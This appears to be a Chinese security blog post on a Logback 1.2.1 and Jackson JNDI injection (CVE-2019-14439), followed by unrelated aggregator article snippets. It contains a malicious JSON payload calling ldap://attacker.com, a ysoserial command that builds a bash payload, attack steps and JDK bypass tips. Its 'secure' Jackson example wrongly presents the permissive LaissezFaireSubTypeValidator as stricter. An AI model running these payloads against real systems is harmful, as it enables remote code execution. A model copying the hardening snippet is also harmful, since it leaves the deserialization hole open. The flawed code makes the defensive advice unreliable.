news 2026/6/21 17:24:26

别再只盯着Shiro-550/721了:聊聊Logback 1.2.1的JNDI注入(CVE-2019-14439)与Jackson的“意外联动”

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再只盯着Shiro-550/721了:聊聊Logback 1.2.1的JNDI注入(CVE-2019-14439)与Jackson的“意外联动”

从Logback到Jackson:被低估的JNDI注入组合拳

在Java安全领域,Shiro-550和Shiro-721反序列化漏洞几乎成了每个安全研究者的必修课。但当我们把目光从这些"明星漏洞"移开,会发现许多看似普通的组件组合可能隐藏着更危险的攻击面。今天我们要探讨的,正是Logback 1.2.1与Jackson这对"黄金搭档"带来的JNDI注入风险(CVE-2019-14439)——一个在真实企业环境中广泛存在却容易被忽视的致命组合。

1. 漏洞背景与组件关系

Logback作为Java生态中最流行的日志框架之一,几乎存在于每个Spring Boot应用的依赖树中。而Jackson则是JSON处理的行业标准。当这两个组件以特定版本组合时,就会形成一个危险的攻击链:

  • Logback 1.2.1:包含存在漏洞的JNDIConnectionSource
  • Jackson:默认配置下允许反序列化任意类

这种组合在微服务架构中尤为常见。开发者通常会同时使用:

  • Logback记录应用日志
  • Jackson处理REST API的JSON数据

典型漏洞环境依赖配置

<dependencies> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-core</artifactId> <version>1.2.1</version> </dependency> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9</version> <!-- 存在漏洞的版本 --> </dependency> </dependencies>

2. 漏洞原理深度解析

2.1 Logback的JNDIConnectionSource设计缺陷

Logback的JNDIConnectionSource类本意是提供通过JNDI获取数据库连接的能力,但其实现存在严重安全问题:

public class JNDIConnectionSource extends ConnectionSourceBase { protected String jndiLocation; // 可被外部控制的属性 public void setJndiLocation(String jndiLocation) { this.jndiLocation = jndiLocation; try { Context ctx = new InitialContext(); dataSource = (DataSource) ctx.lookup(jndiLocation); // 危险操作 } catch (NamingException e) { addError("Failed to obtain DataSource from JNDI", e); } } }

关键问题在于:

  1. 无验证机制:直接信任外部输入的jndiLocation
  2. 自动触发:属性设置时立即执行JNDI lookup

2.2 Jackson的反序列化特性

Jackson的ObjectMapper在开启enableDefaultTyping后,允许JSON指定任意类进行反序列化:

ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 危险配置 // 恶意JSON可以指定实例化JNDIConnectionSource String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\", {\"jndiLocation\":\"ldap://attacker.com/Exploit\"}]"; Object obj = mapper.readValue(json, Object.class); // 触发漏洞

配置风险对比

配置项安全值危险值风险等级
enableDefaultTyping不启用启用高危
polymorphicTypeValidator配置严格校验无校验严重

3. 漏洞利用实战分析

3.1 基础利用条件

要使漏洞成功利用,需要满足以下条件:

  1. 应用使用Logback 1.2.1或以下版本
  2. Jackson配置了enableDefaultTyping
  3. 存在可控的JSON输入点
  4. 目标JDK版本低于防护措施生效版本

典型攻击流程

  1. 识别存在漏洞的JSON端点
  2. 构造恶意JSON触发JNDIConnectionSource实例化
  3. 通过LDAP服务加载远程恶意类
  4. 实现RCE或信息泄露

3.2 现代JDK环境下的绕过技巧

在Java 8u191+等高版本中,JNDI注入受到限制,但仍可通过以下方式绕过:

  1. 利用本地classpath中的gadget链
    • 如Commons Collections 3.2.1
    • 需要目标应用包含相应依赖
// 使用ysoserial生成CC链payload java -jar ysoserial.jar CommonsCollections8 "bash -c {echo,base64_cmd}|{base64,-d}|{bash,-i}" > payload.bin
  1. 利用应用自带的危险类
    • 分析目标应用的依赖树
    • 寻找可利用的链式调用

4. 防御策略与最佳实践

4.1 即时修复方案

组件升级建议

组件安全版本修复内容
Logback≥1.2.2移除了JNDIConnectionSource的危险实现
Jackson≥2.10.0引入polymorphicTypeValidator机制

配置加固措施

// Jackson安全配置示例 ObjectMapper mapper = new ObjectMapper(); mapper.activateDefaultTyping( new LaissezFaireSubTypeValidator(), // 更严格的校验器 ObjectMapper.DefaultTyping.NON_FINAL );

4.2 架构层面的防护

  1. JVM参数加固

    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
  2. 运行时防护

    • 使用RASP解决方案监控可疑JNDI操作
    • 部署WAF规则拦截恶意序列化数据
  3. 依赖管理策略

    • 定期扫描项目依赖(如使用OWASP Dependency-Check)
    • 禁止使用已知危险版本的组件

5. 从CTF到真实世界的思考

在NPUCTF2020的EzShiro题目中,这个漏洞组合被巧妙设计为二次攻击链的一部分。但现实中,这种漏洞组合的危险性被严重低估:

  1. 普遍性:Spring Boot默认包含Logback和Jackson
  2. 隐蔽性:不像Shiro那样有明显特征
  3. 危害性:直接导致RCE

企业环境中的典型场景

  • 微服务间使用JSON通信
  • 集中式日志收集系统
  • 管理接口使用Jackson处理请求

在最近的一次企业渗透测试中,我们通过以下步骤成功利用该漏洞:

  1. 发现使用Jackson的API端点
  2. 确认响应头包含X-Application-Context(Spring Boot特征)
  3. 发送探测payload确认漏洞存在
  4. 根据目标环境定制化利用链
  5. 最终获取系统控制权限

这个案例再次证明,在安全防御中,那些不起眼的"边缘组件"往往才是最大的风险点。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/8 23:38:39

量子计算入门:原理、技术价值与典型应用场景解析

我不能基于您提供的输入内容生成博文。原因如下&#xff1a;输入内容实质为空&#xff1a;项目标题为英文且不完整&#xff08;"Some Notes AbGoogle Research Work in Quantum Computing" 明显存在拼写/截断错误&#xff0c;疑似 "About Google..." 被误切…

作者头像 李华
网站建设 2026/6/8 23:29:29

Codex Mini使用教程:手机远程连接Mac版Codex客户端教程

Codex Mini使用教程&#xff1a;手机远程连接Mac版Codex客户端教程 大家好 这里是「代码简单说」,欢迎大家关注同名公众号,不定时更新更多实用有趣的教程 也欢迎大家在评论区一起讨论交流!~ SEO关键词&#xff1a;Codex Mini、Codex Desktop、手机控制Codex、Mac版Codex、Codex…

作者头像 李华
网站建设 2026/6/8 23:18:22

B站弹幕屏蔽词批量管理工具:5分钟打造你的纯净弹幕环境

B站弹幕屏蔽词批量管理工具&#xff1a;5分钟打造你的纯净弹幕环境 【免费下载链接】bilibili_blacklist A website to share and manage their bilibili danmaku blacklist. 项目地址: https://gitcode.com/gh_mirrors/bi/bilibili_blacklist 你是否曾因B站弹幕的混乱而…

作者头像 李华